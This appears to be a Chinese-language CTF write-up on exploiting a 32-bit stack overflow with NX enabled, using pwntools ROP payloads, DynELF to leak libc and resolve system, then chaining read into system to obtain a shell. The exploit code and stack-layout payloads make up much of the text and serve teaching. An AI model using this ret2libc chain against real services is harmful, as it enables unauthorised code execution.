1.常规checksec,只开启了一个NX,不能使用shellcode,IDA分析漏洞,程序的sub_80483F4()函数栈溢出:
1 2 3 4 5
| #注释头
char buf; // [esp+10h] [ebp-88h] ------------------------------------------------------ return read(0, &buf, 0x100u);
|
有write函数,没有libc,got表里没有system,也没有int 80h/syscall,没有binsh字符串。
2.这种情况下我们就可以使用DynELF来leaklibc,进而获取system函数在内存中的地址,然后就可以再用read函数来读取字符串。
3.首先编写leak函数,也就是需要调用write函数打印需要泄露的地址
常规的leak函数模式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #注释头
def leak(addr): payload = '' payload += 'A'*n #padding payload += p32(write_addr) #调用write payload += p32(start_addr) #write返回到start payload += p32(1) #write第一个参数fd payload += p32(addr) #write第二个参数buf payload += p32(8) #write第三个参数size io.sendline(payload) content = io.recv()[:8] #接受内容读取通过write打印的地址 print("%#x -> %s" %(addr, (content or '').encode('hex'))) #这里打印不需要也可以,只是可以打印出来让我们看到write打印了什么地址,基本都打印了 return content #这里return的conten有很多地址,需要通过之后的DynELF来lookup对应的地址
|
这里的write函数可以换成put或者printf函数,但是如果改变了,那么后面的参数个数也需要发生改变,对应打印函数的形式:
1 2 3 4 5
| #注释头
ssize_t write(int fd,const void *buf,size_t count); int puts(const char *s) int printf(const char*format, ......);
|
具体请参考:
https://www.anquanke.com/post/id/85129
4.接下来就需要创建DynELF类来使用
1 2 3 4 5
| #注释头
d = DynELF(leak, elf = elf) #创建DynELF类,传入需要泄露的地址,从elf文件中获取 system_addr = d.lookup('system', 'libc')
|
5.找到system_addr之后,就可以通过再次利用栈溢出来读取字符串,因为之前write的返回地址已经是最开始的start地址。再次运行到read函数读取第二次的payload,组成为:
1 2 3 4 5 6 7 8
| #注释
payload = padding payload += read_addr #覆盖eip,将sub_80483F4函数的返回地址劫持到read函数) payload += system_addr #使得read函数的返回地址为system) payload += p32(fd) #read函数的第一个参数,同时也对应system函数的返回地址 payload += p32(binsh_addr) #read函数读取进binsh的地址,同时也对应system函数的参数 payload += p32(size) #read函数的第三个参数,读取的字符串大小,于system函数无实际意义,但是如果system函数返回了,那么这就是返回之后的eip,下一条执行的代码地址。
|
6.程序总流程如下:
由于第一段Payload最后write调用后返回到了start,所以又调用sub_80483F4函数,进入读取界面,需要输入第二段payload栈溢出,劫持sub_80483F4函数的返回地址eip为read函数地址,从而进入read函数。之后再次劫持read函数的返回地址为system函数,并且将read的第二个参数,也就是读取进的binsh字符串也传入system函数,从而getshell。
▲call _read函数和直接调用read_plt的区别:
1.call _read函数会push eip,会使得栈中结构从我们原本设置好的:
1 2 3 4 5 6 7 8
| #注释头
padding (call read_addr)_addr system_addr fd binsh_addr size
|
变成:
1 2 3 4 5 6 7 8 9
| #注释头
padding (call read_addr)_addr (call read_addr)_addr下一条指令 system_addr fd binsh_addr size
|
这个eip没办法改变,因为是call这个指令带来的,这样就会导致在read函数没办法正常读取参数,如果去掉system_addr,又会导致返回到call指令下一条leave要执行时,ebp会指向一个padding,这是在read函数中变成的,从而导致leave指令也出错。
2.但是如果直接调用read_plt,栈中结构为:
1 2 3 4 5 6 7 8
| #注释头
padding read_plt_addr system_addr fd binsh_addr size
|
这样Read函数读取完之后,返回时就会直接调用system_addr,完全不用管ebp变成了什么,同时这里也可以直接将binsh_addr传给system,一举两得。
参考资料:
https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157